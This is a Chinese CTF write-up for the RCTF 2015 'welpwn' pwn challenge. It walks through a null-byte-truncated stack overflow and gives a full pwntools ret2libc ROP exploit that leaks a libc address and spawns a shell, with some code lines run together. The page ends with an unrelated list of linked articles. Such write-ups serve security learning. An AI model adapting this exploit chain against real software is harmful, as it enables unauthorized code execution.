记录一道自己做的ctf题目:welpwn

--RCTF-2015

1.老生常谈checksec查看:



可以看到只开了nx保护,下面我们进入ida下面看看。

发现是一个想rbp-400,rsp+0h的地方read进入恰好0x400的数据,然后调用了echo函数,我们进入echo看看。



发现了一个简化版的strcpy函数,第一反应溢出溢出!但是这里由于在复制过程中遇到’0x00‘会被截断,所以64位下我们打包的p64(pop_rdi)+p64(binsh_addr)+p64(system)可能复制不到一半就胎死腹中了。

所以我们不能直接复制,另外我们想到,如果echo函数里面发生溢出的话,很有可能回合main函数里面的buf首尾相接,我们进入gdb里面看看,随便画一幅图。

进入gdb的echo那里看看stack的情况



输入超过24个a来覆盖掉s2。



这个时候还没有进行for循环呢,我们可以看到rsp-0x20,然后rbp的位置,以及返回地址后面紧跟着的我们输入buf里面的内容,下面我们执行循环



可以看到输入的字符如果足够的的话是完全可以覆盖掉,并且和rbp相接到的



这里我们画出图来看看,所以重点是我们应该如何使用这里的跳转,并且在跳转之后还有我们前面补充的垃圾数据。(ps:在写到这里的时候我有了一个思路就是如何把前面的jink数据加以利用,但是感觉还是难),

我们可以使用四次pop指令一次pop出8个字节的数据,直接pop到我们秀的地方,而这里已经到我们的buf这里了,我们不用受到被’\x00‘截断的限制了,就是用

ret2libc,去找出偏移

exp如下:

from pwn import *#我因为没有下载libcseracher所以加载的是本地libc库,各位
context.log_level = 'debug'
libca=ELF("/lib/x86_64-linux-gnu/libc.so.6") e=ELF("./welpwn") pop_24=0x40089c//使用ROPgadget --binary ./welpwn --only 'pop|ret'找到的
pop_rdi=0x4008a3 write_got=e.got["write"]
puts=e.plt["puts"]
p=process("./welpwn") payload='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(write_got)+p64(puts)+p64(0x400630) p.recvuntil("Welcome to RCTF\n")
p.sendline(payload)
p.recvuntil('\x40') #在0x40这里截止是因为我们受到的数据会包含s2的jink数
#据,而我们的0x40恰好是我们输入进去pop_rdi这里的p64打包之后倒序的最后一
#位,所以在这里截止
write_addr = u64(p.recv(6).ljust(8,'\x00'))#读取6字节并且补充我们前导\x00记得补充要在u64解包反倒序之前
print '--'+hex(write_addr) libc_base=write_addr-libca.symbols['write'] system_add=libc_base+libca.symbols["system"]#在使用libcseracher下我们要用libca.dump,因为没有使用使用symbols
binsh_addr = libc_base + libca.search("/bin/sh").next()
payloado='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(binsh_addr)+p64(system_add) p.recvuntil("Welcome to RCTF\n")
p.sendline(payloado) p.interactive()

找到我们debug过程中的图来看看:



另外附上一篇比我更详细的博客:https://www.cnblogs.com/wangaohui/p/5123992.html

搬运3:welpwnctf题目的更多相关文章

  1. 近期概况&总结

    下午考完英语的学考就要放假啦,是衡中的假期啊QAQ 所以灰常的激动,一点也不想写题(我不会告诉你其实假期只有一个晚上.. 自从CTSC&APIO回来之后就一直在机房颓颓颓,跟着zcg学了很多新 ...

  2. [置顶] 《算法导论》习题解答搬运&&学习笔记 索引目录

    开始学习<算法导论>了,虽然是本大部头,可能很难一下子看完,我还是会慢慢地研究的. 课后的习题和思考有些是很有挑战性的题目,我等蒻菜很难独立解决. 然后发现了Google上有挺全的algo ...

  3. 货物搬运(move)

    货物搬运(move) 题目描述 天地无情人有情,一方有难八方支援!汶川大地震发生后,灾区最紧缺的是救灾帐篷,全国各地支援的帐篷正紧急向灾区运送.假设围绕纹川县有环行排列的n个救灾帐篷的存储点,每个存储 ...

  4. 《剑指offer》全部题目-含Java实现

    1.二维数组中的查找 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数. publi ...

  5. python中关于汉诺塔问题和使用turtle库实现其搬运过程

    一.汉诺塔问题 汉诺塔(又称河内塔)问题是源于印度一个古老传说的益智玩具.大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘.大梵天命令婆罗门把圆盘从下面开始按 ...

  6. NOIP练习赛题目5

    小象涂色 难度级别:C: 运行时间限制:1000ms: 运行空间限制:262144KB: 代码长度限制:2000000B 试题描述 小象喜欢为箱子涂色.小象现在有c种颜色,编号为0~c-1:还有n个箱 ...

  7. dp练习(6)——搬运礼物

    3409 搬运礼物 CodeVS原创  时间限制: 1 s  空间限制: 64000 KB  题目等级 : 青铜 Bronze 题解       题目描述 Description 小浣熊松松特别喜欢交 ...

  8. 【题解搬运】PAT_L1-009 N个数求和

    从我原来的博客上搬运.原先blog作废. (伪)水题+1,旨在继续摸清这个blog(囧 题目 就是求N个数字的和.麻烦的是,这些数字是以有理数"分子/分母"的形式给出的,你输出的和 ...

  9. 【题解搬运】PAT_A1016 Phone Bills

    从我原来的博客上搬运.原先blog作废. 题目 A long-distance telephone company charges its customers by the following rul ...

随机推荐

  1. UVA 1572 Self-Assembly(拓扑排序)

    1 // 把一个图的所有结点排序,使得每一条有向边(u,v)对应的u都排在v的前面. 2 // 在图论中,这个问题称为拓扑排序.(toposort) 3 // 不难发现:如果图中存在有向环,则不存在拓 ...

  2. 一起搞懂PHP的错误和异常(二)

    上回文章中我们讲到了错误是编译和语法运行时会出现的,它们与逻辑无关,是程序员在码代码时不应该出现的,也就是说,这些错误应该是尽量避免带到线上环境的,他们不能通过try...catch捕获到.而异常则正 ...

  3. C# 获取动态类中所有的字段

    /// <summary>        /// 动态类 获取字典集合        /// </summary>        /// <typeparam name= ...

  4. Shell系列(23)- 字符截取命令sed

    简述 字符替换命令sed 和vi功能相似,但是vi是给用户用的,sed是给脚本用的 sed是一种几乎包括在所有的UNIX平台(包括Linux)的轻量级流编辑器.s sed主要是用来将数据进行选取.替换 ...

  5. lightweight openpose 入门实操笔记(pytorch环境)

    最近有个小项目要搞姿态识别,简单调研了一下2D的识别: 基本上是下面几种 (单人)single person 直接关键点回归 heatmap,感觉其实就是把一个点的标签弄成一个高斯分布 (多人)mul ...

  6. 关于selenium中的三种等待方式与EC模块的知识

    1. 强制等待 第一种也是最简单粗暴的一种办法就是强制等待sleep(xx),强制让闪电侠等xx时间,不管凹凸曼能不能跟上速度,还是已经提前到了,都必须等xx时间. 看代码: 1 2 3 4 5 6 ...

  7. 计算机python二级 第六套

    第一模块  基本操作 1. random.seed(100)   随机种子  就是100 2.import  random 3.https://www.runoob.com/python3/pytho ...

  8. P7444-「EZEC-7」猜排列【dp】

    正题 题目链接:https://www.luogu.com.cn/problem/P7444 题目大意 一个长度为\(n\)的排列,已知每个\(c_i\)表示那个排列中\(mex\)为\(i\)的区间 ...

  9. 解决Pycharm无法显示matplotlib绘图问题

    最近开始接触matplotlib, 1.首先安装matplotlib库和其依赖的一些其他库,例如:numpy,scipy和pandas等 2.开始进行简单的编码工作,并在PyCharm中运行,出现如下 ...

  10. DL4J实战之一:准备

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...